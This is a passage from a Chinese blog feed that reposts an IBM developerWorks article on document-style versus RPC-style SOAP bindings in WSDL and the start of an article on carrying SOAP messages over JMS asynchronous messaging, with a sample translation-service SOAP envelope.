<TD width=160 bgColor=#000000 height=1><IMG height=1 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD align=middle background=/developerworks/cn/i/bg-gold.gif height=5><B>相关内容：</B></TD></TR>
<TR>
<TD width=160 bgColor=#666666 height=1><IMG height=1 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD>
<TABLE cellSpacing=0 cellPadding=1 width=160 border=0>
<TBODY>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/webservices/ws-intwsdl/part1/index.html" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">使用 WSDL 部署 Web 服务</A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
<TABLE cellSpacing=0 cellPadding=0 width=160 border=0>
<TBODY>
<TR>
<TD width=160 bgColor=#000000 height=1><IMG height=1 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD align=middle background=/developerworks/cn/i/bg-gold.gif height=5><B>订阅:</B></TD></TR>
<TR>
<TD width=160 bgColor=#666666 height=1><IMG height=1 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD>
<TABLE cellSpacing=0 cellPadding=1 width=160 border=0>
<TBODY>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/newsletter/">developerWorks 时事通讯</A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
<TABLE cellSpacing=0 cellPadding=0 width=160 border=0>
<TBODY>
<TR>
<TD width=150 bgColor=#000000 colSpan=2 height=2><IMG height=2 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD width=150 bgColor=#ffffff colSpan=2 height=2><IMG height=2 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
<P><A href="http://www-128.ibm.com/developerworks/cn/webservices/ws-docstyle/">http://www-128.ibm.com/developerworks/cn/webservices/ws-docstyle/</A><A href="http://www-128.ibm.com/developerworks/cn/webservices/ws-docstyle/#author1"><NAME><BR><BR>James McCarthy</NAME></A><BR>总裁兼首席技术执行官, Symmetry Solutions，Inc.<BR>2002 年 6 月 </P>
<BLOCKQUOTE>大部分 Web 服务都是围绕着远程过程调用而构建的，而 WSDL 规范允许另外一种 Web 服务体系结构：文档样式（document style）。在该体系结构中，整个文档在服务客户端和服务器之间进行交换。在本文中，James McCarthy 将向您解释文档样式以及应该何时使用它。</BLOCKQUOTE>
<P>在 Web 服务描述语言（Web Service Definition Language，WDSL）规范中隐含着一个非常巧妙的转换开关，它可以将 Web 服务的 SOAP 绑定从远程过程调用转换成 pass-through 文档。在 SOAP 协议绑定中的样式属性可以包含这两个值中的一个： <CODE>rpc</CODE> 或 <CODE>document</CODE> 。当属性被设定为文档样式时，客户端知道应该使用 XML 模式而不是远程过程调用约定。本文将提供对这个 WSDL 转换开关的说明，描述它的好处，并将解释应该何时使用 pass-through 文档。 </P>
<P><A name=0><SPAN class=atitle2>将您的服务设置为使用文档样式</SPAN></A><BR>首先，让我们简要地谈谈 WSDL 的一些要点，来理解这个巧妙的转换是如何发生的。 WSDL 是一项 XML 规范，它被用来描述网络服务以及对于到达端点（服务）的协议相关的需求。WSDL 用抽象术语来描述服务；通过可扩展的绑定定义，它能够为使用具体术语调用服务定义协议和数据格式规范。下面的语法是直接从 WSDL 规范中摘录出来的，展示了在绑定中所包含的可扩展性元素：</P><A name=code1><B>清单1. 用于绑定中的扩展元素的 WSDL 语法</B></A><BR>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#cccccc border=1>
<TBODY>
<TR>
<TD><PRE><CODE>

&lt;wsdl:definitions .... &gt;
    &lt;wsdl:binding name="nmtoken" type="qname"&gt; *
        &lt;-- extensibility element (1) --&gt; *
        &lt;wsdl:operation name="nmtoken"&gt; *
           &lt;-- extensibility element (2) --&gt; *
           &lt;wsdl:input name="nmtoken"? &gt; ?
               &lt;-- extensibility element (3) --&gt; 
           &lt;/wsdl:input&gt;
           &lt;wsdl:output name="nmtoken"? &gt; ?
               &lt;-- extensibility element (4) --&gt; *
           &lt;/wsdl:output&gt;
           &lt;wsdl:fault name="nmtoken"&gt; *
               &lt;-- extensibility element (5) --&gt; *
           &lt;/wsdl:fault&gt;
        &lt;/wsdl:operation&gt;
    &lt;/wsdl:binding&gt;
&lt;/wsdl:definitions&gt;
</CODE></PRE></TD></TR></TBODY></TABLE>
<P>WSDL 规范（请参阅 <A href="http://www-128.ibm.com/developerworks/cn/webservices/ws-docstyle/#4" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">参考资料</A>部分以获得相关链接）通常描述三种绑定扩展：HTTP GET/POST、MIME 以及 SOAP version 1.1。HTTP GET/POST 和 MIME 中定义的绑定扩展用来定义与标准的 Web 应用程序进行通信的需求，这些应用程序可能返回（也可能不返回）XML 文档。在发送或返回 XML 文档时，HTTP GET/POST 绑定的扩展是隐式的文档样式。 </P>
<P>SOAP 绑定扩展用来定义支持 SOAP 信封协议的服务。SOAP 信封是一种简单模式，它设计成能包含 XML 消息，提供特定于应用程序的消息头和消息体。SOAP 绑定的扩展使 WSDL 文档能够声明 SOAP 消息的需求，这样应用程序就能够与服务正确通信。SOAP 扩展允许将 SOAP 消息的样式声明为文档或 RPC。如果在 <CODE>soap:binding</CODE> 元素中声明了样式属性，那么该样式将成为所有没有显式声明的样式属性的 <CODE>soap:operation</CODE> 元素的缺省值。如果在 <CODE>soap:binding</CODE> 元素中没有声明样式属性，那么缺省的样式就是文档。下面是文档样式的显式声明： </P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#cccccc border=1>
<TBODY>
<TR>
<TD><PRE><CODE>
&lt;soap:binding style="document" transport="uri"&gt;
</CODE></PRE></TD></TR></TBODY></TABLE>
<P>不管 <CODE>soap:binding</CODE> 元素中的声明如何， <CODE>soap:operation</CODE> 元素可以覆盖每个操作的声明，就像这样的： </P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#cccccc border=1>
<TBODY>
<TR>
<TD><PRE><CODE>
&lt;soap:operation soapAction="uri" style="document"&gt;
</CODE></PRE></TD></TR></TBODY></TABLE>
<P>在声明了文档样式的 SOAP 消息中，原始（as-is）或编码（encoded）的消息被直接放置在 SOAP 信封的体部。如果样式声明为 RPC，消息就封装在包装器元素中，同时带有从操作名属性中提取的的元素的名称以及从操作名称空间属性中提取的名称空间。</P>
<P><A name=1><SPAN class=atitle2>文档样式的好处</SPAN></A><BR>勿庸置疑，使用 XML 调用跨平台的远程过程调用的能力是非常有用的，它是使用 Web 服务的非常有说服力的理由。但是如果 Web 服务仅仅局限于 RPC 消息传递，这项技术的影响将是有限的。幸运的是，开发人员可以选择是使用 RPC 还是文档样式的消息传递，并且能够使用适合的技术来完成他们面临的任务。 </P>
<P><A name=2.1><SPAN class=atitle3>使用文档样式，您可以充分利用 XML</SPAN></A><BR>XML 规范开发用来使通常锁定于专有格式的常规数据可以以一种人易读的、自描述的、自验证的开放格式来描述。当 Web 服务使用文档消息传递时，它可以利用 XML 的全部能力来描述和验证高级业务文档。当服务使用 RPC 消息格式化时，XML 描述方法以及为方法调用编码的参数，但是却不能用来执行高级业务规则。为了执行这些规则，RPC 消息必须包含 XML 文档作为字符串参数并且在被调用的方法中隐藏验证。出于这个原因，XML 的某些好处就丧失了，或者至少是被隐藏在后台应用程序里了。 </P>
<P><A name=2.2><SPAN class=atitle3>文档样式无需严格的契约</SPAN></A><BR>使用文档消息传递的另外一个原因在于，远程过程调用必须是相对静态的，并且对接口的任何变化都将破坏服务和应用程序之间的契约。如果服务是广泛分布的，那么很可能大量的应用程序已经从它的 WSDL 文档中产生了存根代码。改变 WSDL 将会导致所有依赖于特定方法签名的应用程序被破坏，而且许多支持行产生问题。好的设计要求 RPC 消息服务的方法签名不应该改变。使用文档消息传递，规则更不严格，并且可以使 XML 模式得到显著增强和改变，同时又不会破坏调用应用程序。 </P>
<P><A name=2.3><SPAN class=atitle3>文档样式更适合于异步处理</SPAN></A><BR>当业务使用基于 Web 的应用程序通过 Internet 交换信息时，应用程序应该能够使用有保证的交付机制来提高它的可靠性、可伸缩性和性能。为了达到这个目的，应用程序通常将使用异步消息队列。由于文档消息通常是自包含的，所以它更适合于异步处理，并且可以直接放到队列中。之所以说应用程序的可靠性得到了提高，是因为即使目标应用程序当前不是活动的，消息队列也可以保证消息的交付；之所以说性能得到了提高，是因为 Web 应用程序只是把文档发送到队列中，然后便可以自由地执行其他的任务；之所以说可扩展性得到了提高，是因为文档被下传到一个或多个应用程序的实例以进行处理。 </P>
<P><A name=2.4><SPAN class=atitle3>文档样式使对象交换更加灵活</SPAN></A><BR>业务文档的设计通常很好地适于面向对象的体系结构。结果，两个应用程序可以设计成通过使用 XML 交换对象的状态。与对象序列化相比，在对象交换中，交换的每个端点都可以自由地设计它认为合适的对象，只要交换符合达成协议的 XML 文件格式即可。不使用对象序列化的一个原因是为了支持对象在客户端和服务器端的实现。许多现有的特定于行业的 XML 模式被设计成客户端/服务器体系结构，在这种体系结构中，在客户端上完成的处理与预定在服务器上完成的处理是分离的。通常的情况是，客户端仅仅以服务器要求的特定文档格式请求或保存信息。当然，这种类型的交换也能用 RPC 消息完成，但是这种消息的编码方式限制了每个端点上的对象的设计。在文档样式中就不会出现这些限制问题。</P>
<P><A name=2><SPAN class=atitle2>何时使用文档样式</SPAN></A><BR>什么时候应该使用文档样式呢？简单地说：只要没有连接到已存在的远程过程调用，任何时候都可以使用文档方式。使用文档方式比起通常花费额外的工作来连接服务，好处要大得多。不过需要提醒的是：一般来说，构建一个使用文档消息传递的服务的工作量要比构建一个 RPC 消息服务所需的工作量大。这些额外的工作通常包括 XML 模式的设计或对已存在的模式的支持、以及从文档中提取相关的信息。模式设计是重要的，因为 XML 解析器使用这个模式来验证文档，支持预定的业务规则。服务需要进行额外的工作来从文档中提取用于处理请求的相关信息。相比之下，RPC 消息只需要设计方法的接口，通过方法的接口，RPC 消息就可以自动地编组和解组参数。 </P>
<P>当您决定发布一项服务时，您可能应该考虑下列问题。我将在下面的部分中分析您的答案的结果。</P>
<UL xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">
<LI>这项服务是连接到已存在的过程调用，并且这个过程调用是无状态的吗？ 
<LI>这项服务是仅在您的组织内部使用，还是也可以被外部用户所使用？ 
<LI>参数之一仅仅是 XML 文档规范吗？ 
<LI>这项服务需要请求/响应体系结构吗？ 
<LI>参数表示了可以从用于验证的 XML 文档模式受益的复杂结构吗？ 
<LI>所有需要进行交换的信息都能够合理地存放在内存中吗？ </LI></UL>
<P><A name=3.1><SPAN class=atitle3>在维护应用程序状态时使用文档样式</SPAN></A><BR>如果必须以特定的顺序调用多个过程来维护应用程序状态，您应该考虑在您的服务中使用文档体系结构。如果需要多个过程调用，那么过程就不是无状态的，并且服务必须维护应用程序状态。在 Web 服务中维护状态可能是困难的；在远程过程调用的情况下，很少有客户端平台会产生能够支持状态信息的存根代码。一个可能的解决方案是使用文档体系结构，并在文档内部传送整个事务的内容。在这种情况下，服务将执行调用，以确保服务内部保持正确的顺序，并且状态信息的维护不超出单个事务的范围。如果仍然需要状态信息，可以将状态信息记录在最终得到的文档中，客户端应用程序也可以维护一个用于服务识别它的状态的令牌。 </P>
<P><A name=3.2><SPAN class=atitle3>使用文档样式来发布可供外部伙伴使用的服务</SPAN></A><BR>如果一个应用程序被发布到组织以外，发布者就很难控制谁正依赖于这个服务，以及如果做出任何改动后果会怎样。在这种情况下，使用文档消息传递和支持像 ebXML 这样的通用交换协议可能更加有利。通用交换协议正发展成能改善外部交换的管理，因此新的贸易合作伙伴协定就可以快速地部署。同样，如果您的服务不需要请求/响应体系结构，那么通用交换协议就可以更好地设计来处理认证、可靠消息交付以及异步请求/响应。 </P>
<P><A name=3.3><SPAN class=atitle3>使用文档样式来简化复杂文档的验证和使用</SPAN></A><BR>如果您的服务正使用字符串参数来传递或返回 XML 文档，或者它的参数之一是一个具有复杂结构且需要自定义处理的对象，那么文档消息传递就可能是较好的选择。将参数的真实含义隐藏在字符串里经常会导致带有无效参数的有效调用。如果服务发布了 XML 文档模式，那么在调用服务之前根据这个模式进行验证就会更加容易。复杂结构经常用来传递组成完整事务的数百条信息。在处理复杂的结构时，远程过程服务可能不得不处理自定义的编组代码，同时应用程序仍然负责仔细地验证结构的每个元素。如果使用文档消息传递，那么应用程序程序员就可以使用 XML 模式来将验证下传到文档设计器，并且不需要自定义的编组代码。 </P>
<P><A name=3.4><SPAN class=atitle3>使用文档样式来最小化内存中的处理</SPAN></A><BR>在选择使用文档样式的消息传递还是 RPC 样式的消息传递时，需要考虑的最后一个因素是需要处理的信息量大小。由于采用 RPC 样式的消息传递来编组参数的大部分（如果不是全部的话）实现都是在内存中执行这项操作，所以内存约束可能会使得 RPC 消息传递行不通。许多文档消息传递服务能够选择是用 DOM 还是用 SAX 来处理文档，因而能够最小化内存中的处理。这对于 Web 服务尤为关键，因为它可能需要处理成千上万的请求，而且其中许多是同时发生的。</P>
<P><A name=3><SPAN class=atitle2>结束语</SPAN></A><BR>在您设计下一个 Web 服务时，您需要考虑当前的 WSDL 规范为您提供的所有选择。在开始创建过程性的接口之前，考虑好将如何使用服务，谁将使用它，以及需要交换的数据的类型和数量。设计开发文档样式的 Web 服务可能需要稍多一些的工作量，但是在很多情况下，这些额外的工作量将会换取更高的信息质量和更可靠的交换性能。</P>
<P><A name=resources><SPAN class=atitle2>参考资料 </SPAN></A>
<UL>
<LI>您可以参阅本文在 developerWorks 全球站点上的 <A href="http://www.ibm.com/developerworks/library/ws-docstyle.html" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">英文原文</A>. <BR><BR>
<LI>Bilal Siddiqui 撰写的“ <A href="http://www-128.ibm.com/developerworks/cn/webservices/ws-intwsdl/part1/index.html" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">Deploying Web services with WSDL</A>”（developerWorks，2001 年 11 月）很好地介绍了 Web 服务和 Web 服务描述语言（Web Services Description Language）。 <BR><BR>
<LI>参阅 <A href="http://www.w3.org/TR/wsdl12/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">WSDL</A>和 <A href="http://www.w3.org/TR/soap/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">SOAP</A> 规范。 <BR><BR>
<LI>XMethods 站点托管一个使用文档样式构建的 <A href="http://www.xmethods.com/idemo/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">demo Web 服务</A>。 <BR><BR>
<LI>IBM 的 <A href="http://www.ibm.com/developerworkshttp://www-3.ibm.com/software/info1/websphere/platformoverview.jsp&amp;origin=ws" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">WebSphere</A>支持 Web 服务。 <BR><BR>
<LI>参阅 IBM 最新的 <A href="http://www.ibm.com/developerworkshttp://www-3.ibm.com/software/solutions/webservices/&amp;origin=ws" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">Web Services initiative</A>。 <BR></LI></UL>
<P></P>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD><A name=author1></A><SPAN class=atitle2>关于作者</SPAN><BR>James McCarthy 是 Symmetry Solutions 公司的创始人、总裁兼首席技术执行官，他确定了公司的技术发展方向，并监督所有的项目和开发。在他二十年的软件开发生涯中，James 一直在 Lotus Development Corporation、Deloitte、Haskins &amp; Sells（现在的 Deloitte &amp; Touche）以及 Aluminum Company of America（ALCOA）这样大公司中工作并担任领导职位。他在 University of Pittsburgh 获得信息科学硕士学位，并在 Nichols College 获得信息系统与营销的 BS/BA。您可以通过 <A href="mailto:jmccarthy@symmetrysolutions.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">jmccarthy@symmetrysolutions.com</A>联系到 James。 </TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><img src ="http://www.blogjava.net/kapok/aggbug/10654.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-08-22 09:19 <a href="http://www.blogjava.net/kapok/archive/2005/08/22/10654.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>使Web Services更灵活</title><link>http://www.blogjava.net/kapok/archive/2005/08/22/10653.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Mon, 22 Aug 2005 01:19:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/08/22/10653.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/10653.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/08/22/10653.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/10653.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/10653.html</trackback:ping><description><![CDATA[<A href="http://www.ftponline.com/china/XmlFile.aspx?ID=258">http://www.ftponline.com/china/XmlFile.aspx?ID=258</A><BR><BR>
<TABLE class=resourcetable cellSpacing=0 cellPadding=6 width=140 align=right border=1 xmlns:fo="http://www.w3.org/1999/XSL/Format">
<TBODY>
<TR>
<TD align=middle><A href="javascript:openWindowRes('XML/2003_02/xml2html.asp?xmlfile=FlexibleWS/Resources.xml&amp;xslfile=../../include/xsl/Resources.xsl')">见资源</A><BR></TD></TR></TBODY></TABLE><B xmlns:fo="http://www.w3.org/1999/XSL/Format">将异步消息传递（如Java Message Service）与SOAP结合起来就意味着Web services可以有更多的用途。</B><BR xmlns:fo="http://www.w3.org/1999/XSL/Format"><SPAN class=AboutAuthor xmlns:fo="http://www.w3.org/1999/XSL/Format">by David Chappell and Tony Hong</SPAN> 
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">直到最近，Web services的用途一直集中于通过HTTP实现的同步请求/回应模式（request/reply model）。这是很自然的，因为Web services的第一个用例就是集中在Remote Procedure Call（RPC）和分布式组件交互的。然而，Web services的这种应用情况忽视了当今IT前景的一个重大的方面：异步消息传递（asynchronous messaging），它有很大的价值，因为它给数据传输和处理带来了一定的可靠性和灵活性，这些性能是同步消息传递很难实现的。通过异步消息传输机制（如JMS），把异步消息传递同SOAP结合起来就可以将如今的Web services标准应用到更广的领域。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">将这种技术结合用于重要的企业集成环境是最受欢迎的了。该领域一直是由Electronic Data Interchange （EDI）、Enterprise Application Integration（EAI）和B2B统治的——然而IT社团一直在寻找成本更低、更高效、更基于标准的方法。在这些领域中，用即时的同步RPC来换取一些功能会让我们更满意，这些功能包括可靠的传递能力、更适合面向企业交易的松散耦合的、粗粒度的（coarse-grained）接口；面向文档的异步交互和对通讯协议和传输机制的支持。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">让我们看看JMS是如何成为一种可靠的异步SOAP消息传递的方法的。我们也将探讨如何将JMS用于可靠的Web services调用。（你可以在这里<A href="http://www.fawcette.com/xmlmag/2003_02/magazine/practice/dchappell/download/" target=_blank>下载样例代码</A>；注意，你需要接受一个许可协议并在<A href="http://www.xmethods.net/" target=_blank>www.xmethods.net</A>网站上注册。）</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">
<TABLE align=right>
<TBODY>
<TR>
<TD><IMG alt="&#13;&#10;&#9;&#9;&#9;&#9;图1. " src="http://www.ftponline.com/china/XML/2003_02/FlexibleWS/Image/fig1sm.gif" align=right></IMG></TD></TR>
<TR>
<TD>
<CENTER>图1. <A href="javascript:openWindowRes('XML/2003_02/xml2html.asp?xmlfile=FlexibleWS/Figure1.xml&amp;xslfile=../../include/xsl/Figure.xsl');">多方同步通讯</A></CENTER></TD></TR></TBODY></TABLE>许多Web services都运用一个同步的RPC模式，在这个模式中，服务呈现细粒度的（fine-grained）接口，而且一个Web services客户端调用RPC型（RPC-style）的交互。在一个RPC型的环境中，参与一个单独的通讯流程的所有的应用程序和服务都必须是可用的，以使多方通讯成功。在有些情况下，同步模式是必需的，比如当服务传递的信息在本质上是实时的（如详细目录查找）时候。然而，这种同步处理是一种要么全有要么全无的（all-or-nothing）命题。如果由于某种原因不能得到一个下行的（downstream）服务，那么提出请求的应用程序及其上行的（upstream）参与者就需要处理应用程序代码中的错误（见<A href="javascript:openWindowRes('XML/2003_02/xml2html.asp?xmlfile=FlexibleWS/Figure1.xml&amp;xslfile=../../include/xsl/Figure.xsl');">图1</A>）。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">可靠的异步通讯是指，为了保持整个环境的健全，系统的所有方面不需要在任何特定的时候都是可用的。即使对于一个简单的两方客户端/服务（client/service）交互来说，运用可靠的异步通讯就意味着，当客户端对服务提出请求时，被调用的服务不需要是可用的。客户端将请求传递到一个可靠的异步传输机制中，该请求暂时不能与服务进行对话。然后客户端本身变成不可用的，当服务成为可用的时，就可以进行服务调用了。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format"><B><FONT color=#333399>处于等待状态的（pending）交互</FONT></B><BR>异步交互也不需要客户端等待响应。一个Web service端点（end point）可以代表一个应用程序，它需要一些时间来执行计算、查找或转换等任务。对一个服务提出异步请求的客户端可以继续执行其它任务，同时其Web service交互处于等待状态。这就提高了并行性（concurrency）和可扩展性。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">细粒度的RPC型的接口需要每个应用程序和服务都知道它们是如何同其它应用程序和服务进行通讯的。例如，一个订单接口上可能有诸如getQuantity()、getTotal()或getBillToAddress()等方法。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">粗粒度、文本型（document-style）的接口是指，每个应用程序或服务只需要关心封装的XML文档，该XML文档包含所有相关的信息，服务可以与其它感兴趣者共享这些信息，并可以以SOAP envelope的形式将这些信息发送给他们。同样，在使用服务时，我们可以从XML文档选择相关的数据（例如&lt;ShipTo&gt;地址），进行相应的处理，然后将结果发送到其它目的地。当你将异步交互同文本型、粗粒度的接口结合起来时，你就为消息传递形式的调用做好了主要准备了。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">
<TABLE align=right>
<TBODY>
<TR>
<TD><IMG alt="&#13;&#10;&#9;&#9;&#9;&#9;图2. " src="http://www.ftponline.com/china/XML/2003_02/FlexibleWS/Image/fig2sm.gif" align=right></IMG></TD></TR>
<TR>
<TD>
<CENTER>图2. <A href="javascript:openWindowRes('XML/2003_02/xml2html.asp?xmlfile=FlexibleWS/Figure2.xml&amp;xslfile=../../include/xsl/Figure.xsl');">消息队列</A></CENTER></TD></TR></TBODY></TABLE>得到可靠的异步通讯的最明智的方法就是运用基于JMS的消息队列。JMS是个标准，它提供了一组通用API让应用程序使用，并提供了一组通用的消息传递语义，如确保消息传递、消息一定会被传递且仅传递一次（once-and-only-once delivery）。JMS将其性能和执行原则封装在自己的层中，这个层是同应用程序层分离的。一个将基于JMS消息传递系统作为传输机制的应用程序不需要关心消息是如何传递的。SOAP消息可以在发送者和接收者之间列队等待（见<A href="javascript:openWindowRes('XML/2003_02/xml2html.asp?xmlfile=FlexibleWS/Figure2.xml&amp;xslfile=../../include/xsl/Figure.xsl');">图2</A>）。JMS提供者负责处理异步、消息持续性、交易完整性和接收确认等所有方面。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">Java 2 Platform、Enterprise Edition（J2EE）架构图总是将JMS看做是个隐藏在防火墙后面的组件，通过它我们在一个JSP servlet引擎和消息驱动的bean之间异步地传递消息。如果你在制作Web页面并将它们同中间层商业逻辑结合起来，那么这个架构就是个有效的用例，但这并不是运用消息传递的唯一的方式。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">JMS消息传递机制是跨Internet传递数据、SOAP或其它信息的一个完全可行的解决方案。一个JMS机制可以在哪里部署以及如何部署的细节取决于供应商。许多JMS供应商都提供某种通道性能（tunneling capabilities）。例如，在SonicMQ例子中，JMS客户端到JMS服务器的通讯可以很容易地跨越公开的Internet、跨越防火墙、以一种运用HTTP、HTTPS、SSL或TCP sockets的安全的、可靠的方式进行。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format"><B><FONT color=#333399>将JMS作为一种SOAP传输机制</FONT></B><BR>自1998年被引进到业界以来，JMS就作为一种基于标准的消息传递方法，在应用程序之间传输SOAP消息。它有五种消息类型，可以传递任何类型的数据（基于XML或不基于XML）。XML数据可以很容易地作为一个JMS BytesMessage中的二元数据或作为TextMessage中的串数据（string data）来传递。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">不管对话两端运用何种API，我们把传输层上运用的JMS看做是除了普通的、老的HTTP传输之外的另一种可选方法。在我们的例子中，我们将JMS的API和Apache SOAP结合起来了——运用JMS API来连接、发送和接收消息，运用Apache SOAP来建构（construct）和析构（deconstruct）SOAP envelope。在不久的将来，JMS将作为一个传输层被嵌入到Apache Axis中。JMS将会成为一个部署选项。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">JMS也有一个内置的同步请求/回应模式。这个请求/回应模式也可以异步地工作。请求者不需要block请求，等待即时的响应。响应可以在稍后的时间异步地发送。JMS可以使最初的请求消息同相应的响应消息关联起来，即使请求和响应在时间上是分离的，或者即使请求过程在失败后又恢复正常。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">XMethods中列出的BabelFish服务给AltaVista的很受欢迎的BabelFish翻译工具提供了一个典型的PRC SOAP接口（见<A href="javascript:openWindowRes('XML/2003_02/xml2html.asp?xmlfile=FlexibleWS/Resources.xml&amp;xslfile=../../include/xsl/Resources.xsl');">资源</A>）。下面我们来看一下这个Web service的一个异步版本，称为AsynchBabelFish。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">从根本上说，该服务主要是异步交换SOAP文档。客户端给服务发送一个AsynchBabelFish转换请求文档，一段时间后，服务将一个AsynchBabelFish转换结果文档发送回客户端。交换是在消息队列上完成的。从这个简单的例子，我们可以看到的一个明显的好处就是，即使服务出了问题，客户端也不会受影响；它可以将请求放到服务队列中，该请求是肯定可以被完成的——即使不是在现在，在稍后时间服务恢复正常时就可以完成。而且，运用一个异步模式也可以给客户端和服务器提供很多的灵活性，使它们可以控制消息的处理速度，例如，服务器可以从服务队列取出消息，按自己的意愿随时处理它们。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">在客户端和AsynchBabelFish服务之间可能交换了三个文档：从客户端发送到服务的转换请求文档、从服务发送回客户端的转换结果文档、以及如果请求出了问题或如果转换请求由于某种原因不能完成，发送回客户端的一个替代结果文档的SOAP fault envelope。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">要对AsynchBabelFish服务提出一个请求，客户端需要将转换请求文档创建成一个字符串，并将它作为一个TextMessage列在AsynchBabelFish服务请求队列中。Envelope采用的形式见<A href="javascript:openWindowRes('XML/2003_02/xml2html.asp?xmlfile=FlexibleWS/List1.xml&amp;xslfile=../../include/xsl/MyList.xsl');">列表1</A>。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">转换请求envelope的body部分包含SourceText元素，它带有用户想要转换的文本。Xml:lang属性为文本语言指定了编码，traslateTo属性为用户想将文本转换到的语言指定了编码。所支持的语言包括English（en）、German（de）、French（fr）、Italian（it）和Portuguese（pt）。对于源文（source text），有150个字的限制。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">注意SOAP header中运用的WS-Security header元素。AsynchBabelFish服务要求对XMethods用户ID/密码数据库进行验证，该元素用来提供请求者的身份凭证（credentials）。（关于WS-Security的更多信息，请参阅<A href="javascript:openWindowRes('XML/2003_02/xml2html.asp?xmlfile=FlexibleWS/Resources.xml&amp;xslfile=../../include/xsl/Resources.xsl');">资源</A>。）转换结果envelope的body部分包含两个子元素，SourceText和TranslationText。例如： 
<TABLE bgColor=#ffffaa>
<TBODY>
<TR>
<TD><FONT color=#0000cc><PRE>&lt;?xml version="1.0" encoding=
	"UTF-8"?&gt;
&lt;soap:Envelope xmlns:soap=
	"http://schemas.xmlsoap.org/
	soap/envelope/"&gt;
	&lt;soap:Body&gt;
		&lt;SourceText xml:lang="en"
			xmlns:xml=http://www.w3.org/
			XML/1998/namespace
			xmlns="http://xmethods.net/
			babelfish"&gt;hello&lt;/SourceText&gt;
		&lt;TranslationText xml:lang="fr" 
			xmlns:xml=
			"http://www.w3.org/XML/1998/
			namespace"
			xmlns="http://xmethods.net/
				babelfish"&gt;bonjour
		&lt;/TranslationText&gt;
	&lt;/soap:Body&gt;
&lt;/soap:Envelope&gt;
</PRE></FONT></TD></TR></TBODY></TABLE></P>
